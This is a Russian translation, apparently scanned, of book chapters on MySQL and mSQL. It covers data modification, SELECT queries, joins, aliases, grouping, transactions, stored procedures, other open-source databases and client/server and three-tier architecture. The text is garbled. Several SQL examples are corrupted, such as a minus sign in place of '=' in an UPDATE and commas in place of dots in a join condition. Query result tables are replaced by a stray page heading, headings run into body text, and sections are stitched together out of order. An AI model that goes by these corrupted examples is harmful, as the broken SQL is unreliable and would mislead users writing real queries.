    MySQL поддерживает синтаксис SQL2, позволяющий вводить в таблицу результаты запроса SELECT:

    INSERT INTO foods (name, fat)

    SELECT food_name, fat_grams FROM recipes

    Обратите внимание, что число колонок в INSERT соответствует числу колонок в SELECT. Кроме того, типы данных колонок в INSERT должны совпадать с типами данных в соответствующих колонках SELECT. И, наконец, предложение SELECT внутри команды INSERT не должно содержать модификатора ORDER BY и не может производить выборку-из той же таблицы, в которую вставляются данные командой INSERT.

    Изменение данных

    Добавление новых строк в базу данных - лишь начало ее использования. Если ваша база не является базой данных "только для чтения", вам, вероятно, понадобится периодически изменять данные. Стандартная команда SQL для изменения данных выглядит так:

    UPDATE table_name

    SET column1=value1, column2=value2, ..., columnN=valueN

    [WHERE clause]

    В mSQL значение, присваиваемое колонке, должно быть литералом и иметь тот же тип, что и колонка. MySQL, напротив, позволяет вычислять присваиваемое значение. Можно даже вычислять значение, используя значение другой колонки:

    UPDATE years

    SET end_year - begin_year+5

    В этой команде значение колонки end_year устанавливается равным значению колонки begin_year плюс 5 для каждой строки таблицы.

    Предложение WHERE

    Возможно, вы уже обратили внимание на предложение WHERE. В SQL предложение WHERE позволяет отобрать строки таблицы с заданным значением в указанной колонке, например:

    UPDATE bands

    SET lead_singer = 'Ian Anderson'

    WHERE band_name = 'Jethro Tull'

    Эта команда — UPDATE - указывает, что нужно изменить значение в колонке lead_singer для тех строк, в которых band_name совпадает с "Jethro Tull." Если рассматриваемая колонка не является уникальным индексом, предложение WHERE может соответствовать нескольким строкам. Многие команды SQL используют предложение WHERE, чтобы отобрать строки, над которыми нужно совершить операции. Поскольку по колонкам, участвующим в предложении WHERE, осуществляется поиск, следует иметь индексы по тем их комбинациям, которые обычно используются.


    Удаление

    Удаление данных - очень простая операция. Вы просто указываете таблицу, из которой нужно удалить строки, и в предложении WHERE задаете строки, которые хотите удалить:

    DELETE FROM table_name [WHERE clause]

    Как и в других командах, допускающих использование предложения WHERE, его использование является необязательным. Если предложение WHERE опущено, то из таблицы будут удалены все записи! Из всех удаляющих данные команд SQL эта легче всего может привести к ошибке.

    Запросы

    Самая часто используемая команда SQL - та, которая позволяет просматривать данные в базе: SELECT. Ввод и изменение данных производятся лишь от случая к случаю, и большинство баз данных в основном занято тем, что предоставляет данные для чтения. Общий вид команды SELECT следующий:

    SELECT column1, column2, ..., columnN

    FROM table1, table2, .... tableN

    [WHERE clause]

    Этот синтаксис, несомненно, чаще всего используется для извлечения данных из базы, поддерживающей SQL. Конечно, существуют разные варианты для выполнения сложных и мощных запросов, особенно в MySQL. Мы полностью осветим синтаксис SELECT в главе 15.

    В первой части команды SELECT перечисляются колонки, которые вы хотите извлечь. Можно задать "*", чтобы указать, что вы хотите извлечь все колонки. В предложении FROM указываются таблицы, в которых находятся эти колонки. Предложение WHERE указывает, какие именно строки должны использоваться, и позволяет определить, каким образом должны объединяться две таблицы.

    Объединения

    Объединения вносят "реляционность" в реляционные базы данных. Именно объединение позволяет сопоставить строке одной таблицы строку другой. Основным видом объединения является то, что иногда называют внутренним объединением. Объединение таблиц заключается в приравнивании колонок двух таблиц:

    SELECT book, title, author, name

    FROM author, book

    WHERE book, author = author, id

    Рассмотрим базу данных, в которой таблица book имеет вид, как в таблице 6-3.

    Таблица 6-3. Таблица книг




    ID



    Title



    Author



    Pages



    1



    The Green Mile



    4



    894



    2



    Guards, Guards!



    2



    302



    ID



    Title



    Author



    Pages



    3



    Imzadi



    3



    354



    4



    Gold



    1



    405



    5



    Howling Mad



    3



    294

    А таблица авторов author имеет вид таблицы 6-4.

    Таблица 6-4. Таблица авторов



    ID



    Name



    Citizen



    1



    Isaac Asimov



    US



    2



    Terry Pratchet



    UK



    3



    Peter David



    us



    4



    Stephen King



    us



    5



    Neil Gaiman



    UK

    В результате внутреннего объединения создается таблица, в которой объединяются поля обеих таблиц для строк, удовлетворяющих запросу в обеих таблицах. В нашем примере запрос указывает, что поле author в таблице book должно совпадать с полем id таблицы author. Результат выполнения этого запроса представлен в таблице 6-5.

    Таблица 6-5. Результаты запроса с внутренним объединением



    Book Title



    Author Name



    The Green Mile



    Stephen King



    Guards, Guards!



    Terry Pratchet



    Imzadi



    Peter David



    Gold



    Isaac Asimov



    Howling Mad



    Peter David

    В этих результатах нет автора с именем Neil Gaiman, поскольку его author, id не найден в таблице book, author. Внутреннее объединение содержит только те строки, которые точно соответствуют запросу. Позднее в этой главе мы обсудим понятие внешнего объединения, которое оказывается полезным в случае, когда в базу данных внесен писатель, у которого нет в этой базе книг.

    Псевдонимы

    Полные имена, содержащие имена таблиц и колонок, зачастую весьма громоздки. Кроме того, при использовании функций SQL, о которых мы будем говорить ниже, может оказаться затруднительным ссы-

    латься на одну и ту же функцию более одного раза в пределах одной команды. Псевдонимы, которые обычно короче и более выразительны, могут использоваться вместо длинных имен внутри одной команды SQL, например:

    # Псевдоним колонки

    SELECT long_field_names_are_annoying AS myfield

    FROM table_name


    WHERE myfield = 'Joe'

    # Псевдоним таблицы в MySQL

    SELECT people.names, tests.score

    FROM tests, really_long_people_table_name AS people

    # Псевдоним таблицы в mSQL

    SELECT people.names, tests.score

    FROM tests, really_long_people_table_name=people

    mSQL полностью поддерживает псевдонимы для таблиц, но не поддерживает псевдонимы для колонок.

    Группировка и упорядочение

    По умолчанию порядок, в котором появляются результаты выборки, не определен. К счастью, SQL предоставляет некоторые средства наведения порядка в этой случайной последовательности. Первое средство -упорядочение - есть и в MySQL, и в mSQL. Вы можете потребовать от базы данных, чтобы выводимые результаты были упорядочены по некоторой колонке. Например, если вы укажете, что запрос должен упорядочить результаты по полю last_name , то результаты будут выведены в алфавитном порядке по значению поля last_name . Упорядочение осуществляется с помощью предложения ORDER BY:

    SELECT last_name, first_name, age

    FROM people

    ORDER BY last_name, first_name

    В данном случае упорядочение производится по двум колонкам. Можно проводить упорядочение по любому числу колонок, но все они должны быть указаны в предложении SELECT. Если бы в предыдущем примере мы не выбрали поле last_name , то не смогли бы упорядочить по нему.

    Группировка — это средство ANSI SQL, реализованное в MySQL, но не в mSQL. Поскольку в mSQL нет агрегатных функций, то группировка просто не имеет смысла. Как и предполагает название, группировка позволяет объединять в одну строки с аналогичными значениями с целью их совместной обработки. Обычно это делается для применения к результатам агрегатных функций. О функциях мы поговорим несколько позднее.

    Рассмотрим пример:

    mysql> SELECT name, rank, salary FROM people\g

    Управление данными

    5 rows in set (0.01 sec)

    После группировки по званию (rank) выдача изменяется:

    mysql> SELECT rank FROM people GROUP BY rank\g

    Управление данными

    3 rows in set (0.01 sec)

    После применения группировки можно, наконец, найти среднюю зарплату (salary) для каждого звания. О функциях, используемых в этом примере, мы поговорим позднее.


    mysql> SELECT rank, AVG(salary) FROM people GROUP BY rank\g

    Управление данными

    3 rows in set (0.04 sec)

    Мощь упорядочения и группировки в сочетании с использованием функций SQL позволяет производить большой объем обработки данных на сервере до их извлечения. Но этой мощью нужно пользоваться с большой осторожностью. Хотя может показаться, что перенос максимального объема обработки на сервер базы данных дает выигрыш в производительности, на самом деле это не так. Ваше приложение-клиент обслуживает потребности отдельного клиента, в то время как сервер совместно используется многими клиентами. Из-за большого объема работы, который должен производить сервер, почти всегда более эффективно возложить на сервер минимально возможную нагрузку. MySQL и mSQL, возможно, наиболее быстрые из имеющихся баз данных, но не нужно использовать эту скорость для той работы, к которой лучше приспособлено клиентское приложение.

    Если вам известно, что много клиентов будет запрашивать одни и те же итоговые данные (например, данные по некоторому званию в нашем предыдущем примере), создайте новую таблицу с этими данными и обновляйте ее при изменении данных в исходной таблице. Эта операция аналогична буферизации и является распространенным приемом в программировании баз данных.



    Beagle

    Beagle является бесплатным ядром баз данных SQL, разработанным и реализованным Робертом Клейном (Robert Klein). Как и GNU SQL, Beagle задуман как полностью SQL-совместимый сервер со всеми необходимыми функциями, включая объектно-реляционные расширения, впервые появившиеся в PostgreSQL. Как и GNU SQL, Beagle во многом не завершен. Ко времени печати этой книги он достиг того уровня развития, когда он надежен и может использоваться для тестирования и разработки. Для промышленного пользования этот продукт еще не готов.

    Одной из наиболее интересных особенностей Beagle является то, что автор с самого начала проекта вел журнал разработки. Изучая этот журнал, вы можете проследить развитие SQL-сервера от простого тестового приложения, использующего TCP и архитектуру клиент/сервер, до почти полностью функционального SQL-сервера, каким он является сегодня. Домашняя страница Beagle расположена на http:// www.beaglesql.org.



    Чего недостает MySQL и mSQL

    Слово "недостает" выбрано за неимением лучшего. Как уже отмечалось, MySQL и mSQL сознательно предпочли отказаться от возможностей, которые могли снизить их производительность. Иными словами, в MySQL и mSQL ставка сделана на производительность. Однако некоторые пользователи среднего класса готовы отчасти пожертвовать производительностью ради определенных функций. Для понимания того, что предлагают другие базы данных среднего масштаба, полезно выяснить, что же опущено в MySQL и mSQL.

    Чего недостает MySQL и mSQLРазработчики MySQL собираются все-таки включить в свой продукт некоторые из этих функций с возможностью по желанию их отключать. Сейчас, когда книга печатается, мы зна- . ем, что планируется реализовать механизм хранимых процедур и вложенных запросов, а возможно, и транзакций.

    Транзакции

    Транзакции позволяют сгруппировать вместе несколько команд SQL в качестве единицы работы. Группируя вместе команды, можно быть уверенным, что никто не столкнется с частично измененной базой данных. Кроме того, при невозможности выполнить одну из команд вся единица работы не будет выполнена. Транзакции можно зрительно представить себе как перекресток оживленных дорог. В однопоточной системе с очередью, такой как mSQL, это как остановка перед перекрестком со всех четырех сторон. Все машины проезжают в очередь по одной. Если проезжает колонна из двух машин, существует опасность, что она будет разорвана перед знаком остановки.

    В многопоточной системе с блокировкой, такой как MySQL, это больше напоминает перекресток с регулировщиком вместо знаков остановки. Движение происходит в любом порядке и с любой скоростью, а регулировщик следит, чтобы не было столкновений. Если к перекрестку подходят одновременно две машины с пересекающихся направлений, регулировщик приказывает одной из них остановиться и подождать, пока другая преодолеет перекресток.

    Транзакции напоминают перекресток со светофором. Подходящий транспорт останавливается перед красным сигналом на то время, пока весь транспорт, следующий в перпендикулярном направлении, не пересечет перекресток.


    Практический пример использования транзакций - банковское приложение, в котором перевод средств со сберегательного на чековый счет выполняется в результате изменения остатка на сберегательном счете, а затем изменения остатка на чековом счете. Это можно осуществить с помощью двух команд SQL:

    # Снять $100 из $110 на сберегательном счете

    UPDATE account

    SET balance = 10.00

    WHERE id = 1234

    # Добавить $100 к $55 на чековом счете

    UPDATE account

    SET balance = 155.00

    WHERE id = 5678

    В промежутке между двумя этими изменениями другой клиент мог провести операцию, проверяющую состояние чекового и сберегательного счетов, чтобы узнать, достаточна ли сумма для оплаты чека. Если бы подобное произошло, чек был бы возвращен банком. Еще хуже, если сервер "упадет" в промежутке между двумя изменениями. Клиент просто потеряет $100.

    Объединяя эти две команды в транзакцию, вы говорите, что либо обе должны быть успешно выполнены, либо ни одна из них. Если первая команда пройдет, а вторая не сможет выполниться, то можно дать команду, называемую "откат"("rollback"), которая вернет базу данных в состояние, предшествовавшее началу транзакции. Точно так же никому не разрешается трогать файлы, которые вы модифицируете, пока работа не будет завершена. MySQL частично позволяет эмулировать транзакции, используя команду LOCK TABLES. Блокировки помогают избежать нарушения целостности данных, но не дают возможности осуществления операции отката. В mSQL поддержка транзакций отсутствует.

    Триггеры

    Триггеры тесно связаны с транзакциями. Продолжая аналогию с дорожным движением, представим себе полицейского инспектора, сверху наблюдающего за перекрестком. Если одна из машин совершает какое-либо нарушение, инспектор выезжает на дорогу и преследует нарушителя.

    Триггер — это одна или несколько команд SQL, которые хранятся в базе и выполняются, когда происходит какое-либо определенное событие. Триггеры являются методом автоматизации задач контроля. Если выполняется некоторое условие, триггер может воздействовать на данные или просто сообщить о том, что имело место срабатывание триггера.


    Хранимые процедуры

    В простейшем случае хранимые процедуры - это одна или несколько команд SQL, хранимых в базе данных под каким-либо простым именем и в совокупности выполняющих некую функцию. В примере с переводом денежных средств можно было бы просто сохранить эти две команды в одной хранимой процедуре с именем "transfer" (перевод). Ваше приложение передает хранимой процедуре два номера счета и сумму, и она выполняет две команды SQL в одной транзакции.

    На более высоком уровне сложности хранимые процедуры могут расширять базовый синтаксис SQL, так что он становится похожим на традиционные языки программирования. Двумя примерами таких расширений являются Oracle PL/SQL и Sybase/ Microsoft Tran-sactSQL. Часто можно слышать, что использование хранимых процедур "помещает бизнес-логику в базу данных".

    Вложенные запросы

    Обычная команда SQL SELECT осуществляет полный доступ ко всем данным, хранимым в таблице, - если вы знаете, что ищете. Когда вы не стремитесь извлечь содержимое таблицы целиком, SELECT в своем основном виде требует ввести хотя бы часть данных, которые вы хотите извлечь. Например, SELECT name FROM friends WHERE name LIKE 'B%' требует знания хотя бы одной буквы имени, которое вы ищете. Что делать в случае, если вы хотите узнать, чей заработок был выше среднего? Запрос должен выглядеть примерно так:

    SELECT name FROM people WHERE salary > ???

    Больше чего? Вы понятия не имеете, каков средний заработок, пока не сделаете выборку по заработкам! Необходимо взять значение SELECT AVG(salary) FROM people и вставить его в предыдущий запрос. Вложенный запрос позволяет это сделать:

    SELECT name

    FROM people

    WHERE salary > (SELECT AVG(salary) FROM people)

    Объекты

    Реляционные базы данных - не конечный пункт эволюции. Имеется много объектно-реляционных и объектно-ориентированных баз данных. На рынке систем большого масштаба идея чисто реляционных баз данных постепенно отступает. Новый стандарт SQL3 включит в себя многие изменения, касающиеся поддержки объектов.

    В РСУБД все данные хранятся в виде таблиц, представляющих собой просто списки записей, в свою очередь, являющихся собранием битов, представляющих текст, числа и другие типы данных. В объектно-ориентированной системе управления базами данных (ООСУБД) базовой единицей хранения данных является объект. Объект может содержать не только данные тех же типов, что встречаются в реляционных базах данных, но также и другие объекты или многомерные данные, скажем, массивы, или даже выполняемые функции, в мире объектно-ориентированного программирования обычно называемые методами.



    Что значит "бесплатный"?

    Иногда можно слышать, как MySQL и mSQL называют "бесплатными" (free) продуктами. Когда сравнивают MySQL и mSQL, иногда даже говорят, что MySQL "более бесплатна", чем mSQL. Здравый смысл противится выражению "более бесплатный". Однако в мире программного обеспечения действительно изобретены "степени бесплатности".

    До сих пор мы сознательно избегали обсуждения "бесплатности" MySQL и mSQL, поскольку термин "бесплатный" неоднозначен в мире программного обеспечения. На самом деле, лицензия как на один, так и на другой продукт может оказаться для вас не бесплатной, в зависимости от того, кем вы являетесь. По правилам, действовавшим в момент написания книги, университет не был обязан платить за лицензию ни на тот, ни на другой продукт. А коммерческий пользователь mSQL- обязан. Когда говорят, что MySQL "более бесплатна", чем mSQL, имеют в виду, что MySQL бесплатна для большего числа пользователей, чем mSQL.

    Другая сторона понятия "бесплатный" для программ не имеет отношения к цене, а связана с возможностью изучать и модифицировать исходный код. В этом смысле тот и другой продукт совершенно бесплатны. Вы можете зайти на их веб-страницы и загрузить исходный код. Даже если вы принадлежите к пользователям MySQL или mSQL, которые обязаны платить за их использование, тратиться дополнительно на исходный код не нужно.

    В мире программирования возник новый термин, предназначенный для избавления от неоднозначности понятия "бесплатный". Он называется Open Source- Открытый код. Фактически, термин "Open Source" стал торговой маркой, обозначающей программный продукт, исходный код которого открыт вне зависимости от взимаемой за его использование платы. Linux, Netscape, FreeBSD, Perl, Apache, все продукты GNU и многие продукты, упоминаемые в этой книге, такие как MySQL, mSQL, mm.mysql.jdbc и mSQL-JDBC (мы перечислили лишь немногие), - все они являются Open Source-продуктами.

    Другие базы данных, о которых мы говорим в этой главе, также относятся к Open Source. Open source имеет очень большое значение в мире пользователей среднего класса, поскольку "большие парни" склонны рассматривать этот рынок как не заслуживающий их внимания из-за ограниченности, а разработчики малого класса считают эти продукты слишком сложными для себя.



    Другие СУБД среднего масштаба

    Когда mSQL впервые вышла на сцену, это была единственная СУБД среднего масштаба с поддержкой SQL. Но она недолго оставалась в одиночестве. Конечно, вы уже знаете о другой такой базе данных: MySQL. За годы, прошедшие после появления mSQL, появилось и несколько СУБД среднего класса. Мы сосредоточились в этой книге на MySQL и mSQL из-за их очень большого сходства и громадной популярности. Было бы, однако, несправедливо не упомянуть о других базах данных.

    Базы данных используются в столь многочисленных задачах, что трудно в одном пакете соединить все функции для всех возможных применений. Тем не менее крупные поставщики баз данных пытаются достичь этой цели. Они расплачиваются за это производительностью, а вы расплачиваетесь своими деньгами. С другой стороны, базы данных низшего класса настолько узко специализированы, что возможности их использования на малых предприятиях, в некоммерческих организациях и других местах с нетривиальными потребностями весьма ограниченны. Базы данных среднего класса заполняют важный пробел между двумя этими крайностями. До сего времени мы рассматривали лишь два очень схожих подхода к удовлетворению потребности в базе данных среднего класса. Определенно, они не являются единственными решениями. Если, скажем, ваша компания невелика, это не значит, что вам не может потребоваться поддержка транзакций. Некоторым пользователям среднего звена могут потребоваться также триггеры, вложенные запросы, хранимые процедуры, поддержка объектно-ориентированного программирования и многое другое - но не все эти возможности одновременно. Таким образом, различные базы данных среднего класса могут иметь необходимые возможности, отсутствующие в MySQL или mSQL.



    MySQL & mSQL

    Проект GNU для многих программистов является символом свободы. Официальная лицензия на продукты GNU гарантирует свободный доступ и полную свободу модификации исходного кода. Почти для всякой утилиты среды Unix можно найти версию GNU - включая редактор (Emacs), командный процессор (bash) и ядро операционной системы (Hurd). До недавнего времени зияющим пробелом было отсутствие СУБД.

    Институт системного программирования Российской Академии наук работает над тем, чтобы изменить это положение. Пару лет назад он выпустил первую открытую бета-версию GNU SQL - полностью функциональную РСУБД с поддержкой SQL и лицензией GNU Public License (GPL). Ко времени печати этой книги текущая версия GNU SQL имела номер 0.7beta.

    Когда задумывалась GNU SQL, спецификация SQL 2 была еще не окончательной, поэтому первые версии GNU SQL обеспечивали поддержку только функций SQL89, а возможности SQL2 добавлялись постепенно.

    В настоящее время GNU SQL поддерживает многие развитые возможности - транзакции, вложенные запросы и курсоры. Поскольку это бета-версия, мы не рекомендовали бы ее для промышленного использования. По мере своего становления она, конечно, будет достойна внимания. Подробнее узнать о GNU SQL можно на http://www.ispras.ru/-kml/gss/index.html



    PostgreSQL

    Существующая в настоящее время реализация объектно-реляционной СУБД Postgres известна как PostgreSQL (или Postgres 6). Хотя Post-gres поддерживает SQL в течение всего трех лет, самой системе уже более десяти лет. В начале 1980-х д-р Майкл Стоунбрейкер (Michael Sto-nebreaker) из Калифорнийского Университета в Беркли разработал систему баз данных, которая предвосхитила многие концепции, реализованные в современных системах управления базами данных. Эта СУБД получила название Ingres (позднее University Ingres). Ingres была некоммерческим проектом, финансируемым университетом; проектом, быстро обретшим последователей среди специалистов по компьютерам во всем мире.

    Одна из фирм обратила внимание на коммерческий потенциал этого академического продукта и, зарегистрировав торговую марку Ingres, сделала коммерческий продукт. Исходная некоммерческая версия Ingres была переименована в University Ingres, и ее развитие продолжилось независимо от коммерческой версии.

    Через некоторое время д-р Стоунбреикер пошел в своих исследованиях дальше того, что предполагалось в начальных целях проекта Ingres. Он решил, что настало время разработать совершенно новую систему баз данных, развивавшую идеи, заложенные в Ingres, и отправился осваивать новую территорию. Эта система баз данных стала известна как Postgres, то есть после-Ingres.

    Postgres, как и Ingres, была открытым для общественности проектом, который финансировался университетом. И так же, как в случае Ingres, коммерческий сектор обратил внимание и на Postgres, в результате чего появился коммерческий проект Illustra*. Бесплатная Postgres продолжила свое существование и сейчас соперничает в популярности с MySQL и mSQL среди серверов баз данных среднего масштаба.

    В 1995 г. произошли два события, повлиявшие на судьбу Postgres. Во-первых, два студента д-ра Стоунбрейкера - Эндрю Ю (Andrew Yu) и Джолли Чен (Jolly Chen) - разработали SQL-интерфейс для Postgres.

    Таким образом, через несколько лет после того, как Дэвид Хьюз впервые разработал MiniSQL для использования SQL в работе с Postgres, у последней появился настоящий SQL-интерфейс. Поддержка SQL вызвала рост популярности. Как и в случае с mSQL и MySQL, рост популярности привел к росту потребности в новых функциях. В результате появилась объектно-ориентированная СУБД среднего масштаба с поддержкой транзакций, триггеров и вложенных запросов. Подробнее узнать о PostgreSQL можно на http://www.postgresql.org.



    Сравнение характеристик

    Как и многие приложения, MySQL обладает набором тестов для проверки того, что заново откомпилированная система действительно поддерживает все возможности, которыми предположительно должна обладать. Для MySQL этот набор называется "crash-me", поскольку одной из его задач является попытка "завалить" сервер баз данных.

    В какой-то момент обратили внимание на то, что "crash-me" является переносимой программой. Она может работать не только в различных операционных системах, но и использоваться для тестирования разных СУБД. С тех пор "crash-me" превратилась из простого набора тестов в программу, позволяющую производить сравнение характеристик. Тесты включают в себя стандартный SQL, а также расширения, предлагаемые многими серверами. Кроме того, программа проверяет надежность сервера при интенсивной нагрузке. Полный прогон тестов дает исчерпывающую характеристику возможностей сервера баз данных.

    Можно использовать "crash-me" для сравнения двух или более серверов баз данных в активном режиме. Домашняя страница "crash-me" находится на http://www.mysql.com/crash-me-choose.htmy.

    Архитектура клиент/сервер

    В упрощенном виде архитектура клиент/сервер предполагает разделение происходящей в приложении обработки на две или более логически различные части. До сих пор в этой книге мы обсуждали базы данных так, будто они существуют в некоем безвоздушном пространстве. Однако они выполняют свое предназначение только тогда, когда используются какими-либо приложениями. Упрощая, можно сказать, Что база данных составляет одну часть архитектуры клиент/сервер. База данных является "сервером", а всякое использующее ее приложение является "клиентом". Часто клиент и сервер расположены на разных машинах; в большинстве случаев приложение клиента является дружественным интерфейсом к базе данных. На рис. 8-1 графически представлена простая система клиент/сервер.

    Возможно, вы уже встречали в Интернет такую структуру. По сути, мы будем обращаться к определенной задаче приложений клиент/сервер для Интернет на протяжении всей книги. К примеру, WWW является гигантским приложением типа клиент/сервер, в котором Web-броузер является клиентом, а Web-сервер- сервером. В этом сценарии сервер является не сервером реляционных баз данных, а специализированным файл-сервером. Важнейшим свойством сервера является то, что он предоставляет данные клиенту в определенном формате.

    Архитектура клиент/сервер
    Рис. 8-1. Архитектура клиент/сервер

    При создании приложения для работы с базой данных прежде всего необходимо иметь возможность связать клиента с базой данных. Поставщики баз данных предпочитают скрывать от разработчиков основополагающие механизмы связи посредством API, ориентированных на конкретный язык. Когда вы создаете приложение для работы с базой данных, то используете специальные библиотеки, которые транслируют ваши запросы в пакеты TCP/IP, передающиеся по сети к серверу базы данных.

    Внешний вид этих API для доступа к базам данных различен и зависит от языка программирования, а во многих случаях - и от самой базы данных. Поскольку API для MySQL намеренно разрабатывались так, чтобы иметь сходство с mSQL, у всех API, которые вы найдете в этой книге, различия минимальны.



    в деталях разработки приложений для

    Архитектуры приложений для работы с базами данных

    Прежде чем разбираться в деталях разработки приложений для работы с базами данных на различных языках, следует потратить некоторое время и шире взглянуть на проектирование этих приложений. Эта глава концептуальная: мы хотим рассмотреть архитектуру клиент/ сервер, лежащую в основе программирования баз данных. Эти вопросы важны для программирования MySQL и mSQL, но не являются специфичными только для этих СУБД. Напротив, они применимы в любой среде программирования баз данных. Если не учитывать принципов архитектуры, то может оказаться, что ваши приложения не могут ни удовлетворить ваши потребности, ни приспособиться к изменяющимся обстоятельствам. В нашем обзоре программирования баз данных мы коснемся таких сложных тем, как понятие об обычной двухзвенной архитектуре, соответствие между объектами и реляцион-ностью и более новой трехзвенной архитектуре клиент/сервер.



    Объектное/реляционное моделирование

    Основная проблема, которая встает перед разработчиком объектно-ориентированного приложения при использовании реляционной базы данных, это - как отобразить реляционные данные в объекты. Первой мыслью может быть попытка отобразить атрибуты объекта в поля таблицы. К несчастью, такой подход по ряду причин не очень удачен.

  • Объекты не хранят только простые данные в своих атрибутах. Там могут храниться также коллекции и связи с другими объектами.

  • В большинстве реляционных баз данных, включая MySQL и mSQL, нет средств, позволяющих моделировать наследование.


    Практические правила для объектно-реляционного моделирования

  • У каждого сохраняемого класса в базе данных есть своя таблица.

  • Поля объектов с простыми типами данных (целые, символы, строки и т. д.) сопоставлены колонкам в соответствующей таблице базы данных.

  • Каждая строка таблицы базы данных cоответствует экземпляру соответствующего хранимого класса.

  • Каждая связь между объектами типа "многие-ко-многим" требует таблицы-связки, так же как это требуется для объектов базы данных типа "многие-ко-многим".

  • Наследование моделируется с помощью отношения "один-к-одному" между таблицами, соответствующими классу и подклассу.


  • Вспомните адресную книгу, о которой мы говорили ранее. Допустим, она имеет таблицы address и person, как на рис. 8-2.

    Объектное/реляционное моделирование
    Рис. 8-2. Модель данных простого приложения адресной книги

    Объектное/реляционное моделированиеЕсть весьма неочевидная проблема, с которой сталкиваются программисты. Основная задача объектно-ориентированного подхода к реляционным данным - это, получив эти данные, немедленно создать экземпляр объекта. Приложение должно работать с данными только через объекты. Большинство традиционных методов программирования, включая разработку на С, PowerBuilder и VisualBasic, требует, чтобы разработчик извлек из базы данные, а затем их обработал. Главное отличие состоит в том, что в объектно-ориентированном программировании баз данных вы имеете дело с объектами, а не данными.

    Рис. 8-3 показывает объектную модель, соответствующую модели данных на рис. 8-2. Каждая строка базы данных преобразуется в программный объект. Таким образом, ваше приложение принимает результирующий набор и для каждой возвращаемой строки создает новый экземпляр Address или Person. Труднее всего справиться с проблемой, о которой уже говорилось: как в приложении установить связь между человеком и его адресом? Объект Person, конечно, имеет ссылку на объект Address, относящийся к этому человеку, но сохранить объект Address внутри таблицы person реляционной базы нельзя. Модель данных предполагает хранение связей между объектами с помощью внешних ключей, для чего в таблицу person заносится address_id.

    Объектное/реляционное моделирование
    Рис. 8-3. Объектная модель, поддерживающая простое приложение адресной книги

    Самое незначительное усложнение объектной модели может вызвать бездну проблем при установлении соответствия наших объектов и модели данных. Допустим, что Person является потомком Entity и класс Company тоже является потомком Entity. Как отделить Entity от Person или Company? Приведенное выше правило фактически является скорее рекомендацией. В некоторых случаях базовый класс является чисто абстрактным и, следовательно, не имеет в базе связанных с ним данных. В таком случае для этого класса в базе данных не будет объекта.



    Обработка данных

    В части I "Введение в MySQL и mSQL" мы дали понятия управления транзакциями и результирующего набора. Приложение для работы с базой данных — всего лишь инструмент для управления транзакциями и обработки результирующих наборов. Например, если ваше приложение является адресной книгой, то обработка результирующих наборов заключается в том, чтобы извлечь из таблицы все строки и показать их пользователю. Управление транзакциями просто сводится к тому, чтобы изменения в таблицах address и person производились как единое целое.

    Обработка данныхМы уже упоминали, что в MySQL и mSQL нет поддержки транзакций. Всякое изменение в базе данных совершается автоматически, когда вы его запрашиваете. Это ограничение заставляет принимать специальные меры для того, чтобы целостность данных не нарушалась в результате отказа, происходящего в промежутке между двумя связанными между собой обращениями к базе данных.

    Два других важных момента в работе приложения - это подключение и отключение. Вполне понятно, что перед тем, как выполнить запрос, необходимо подключиться к базе данных. Однако довольно часто забывают о второй стороне медали- необходимости "убрать за собой". Следует всегда освобождать все захваченные ресурсы базы данных, когда они вам больше не нужны. В долго живущих приложениях, таких как демон Интернет, неаккуратно написанная система может понемногу отнимать ресурсы базы данных, и, в конце концов, заблокирует систему.

    "Уборка за собой" включает в себя правильную обработку ошибок. Хорошие языки программирования затрудняют пропуск обработчиков исключительных ситуаций (отказ сети, повторяющиеся ключи при добавлении, ошибки синтаксиса SQL и т. д.). Но независимо от того, какой язык вы избрали, вы обязаны знать, какие исключительные ситуации могут возникать при данном вызове API, и в каждой исключительной ситуации действовать надлежащим образом. С-библиотеки для MySQL и mSQL основываются на представлении базы данных в виде наборов строк. Мы хотим этим сказать, что библиотеки С позволяют непосредственно обращаться с данными в том виде, в каком они в принципе существуют в базе данных. Глава 13 "С и C++", раскрывает практические детали программирования в этой модели с использованием С API для MySQL и mSQL.

    Доступ к реляционной базе данных из объектно-ориентированной среды выявляет особый парадокс: реляционный мир занимается исключительно манипуляциями с данными, в то время как мир объектов занимается инкапсуляцией данных внутри некоторого набора схем поведения. В объектно-ориентированном приложении база данных служит средством сохранения объектов для экземпляров приложения. Объектно-ориентированное программирование рассматривает данные запроса не как набор строк, а как собрание объектов.



    Трехзвенная архитектура

    До сих пор мы обсуждали самую простую архитектуру для работы с WWW и простыми бизнес-приложениями - клиент/сервер. Однако эту архитектуру не так-то просто нарастить по мере роста и изменения ваших приложений. В ней также трудно использовать преимущества объектно-ориентированного программирования. Первая проблема недавно нашла отражение в дискуссиях относительно "тонких клиентов". Потребность в тонких клиентах происходит из беспокоящей тенденции в передаче клиенту все больших объемов обработки. Эта проблема проявилась в PowerBuilder и VisualBasic - инструментах, которые прямо вытаскивают данные из базы в GUI, а затем все операции над этими данными проводят в GUI.

    Такая тесная привязка интерфейса пользователя к ядру базы данных приводит к появлению программ, которые трудно модифицировать и невозможно масштабировать при увеличении числа пользователей и объема данных. Если у вас есть опыт разработки интерфейсов пользователя, то вы сталкивались с проблемой переработки интерфейса в зависимости от каприза пользователя. Чтобы изолировать последствия такой переработки, проще всего оставить для GUI только одну задачу- действовать в качестве интерфейса пользователя. Такой интерфейс пользователя действительно является тонким клиентом.

    Влияние на масштабируемость сказывается и с другой стороны. Когда требуется переработать приложение, чтобы оно могло справляться с возросшим числом пользователей и объемом данных, модификация может быть осуществлена в результате изменений, вносимых в базу данных, в том числе таких, которые состоят в распределении базы данных по нескольким серверам. Навечно привязав свой интерфейс к базе данных, вам приходится делать изменения в этом GUI для решения проблем масштабирования - проблем, связанных исключительно с сервером.

    Тонкие клиенты - не единственное сегодняшнее поветрие. Другая тенденция - повторное использование кода. Общий для разных приложений код тяготеет к обработке данных, обычно называемой деловой логикой. Если вся ваша деловая логика располагается в интерфейсе пользователя, то добиться повторного использования кода будет, по меньшей мере, трудно. Решением этих проблем является разбиение приложения на три, а не на две части. Такая архитектура называется трехзвенной.


    Трехзвенная архитектура Когда мы говорим об интерфейсе пользователя у клиента, то имеем в виду логическое различие. Разновидностью тонкого клиента, иногда называемой "сверхтонким клиентом", является то, что обычно всеми воспринимается как Web-страница. Web-страница может динамически создаваться на Web-сервере. В этом случае большая часть работы клиента происходит на сервере в виде динамической генерации HTML-страниц.

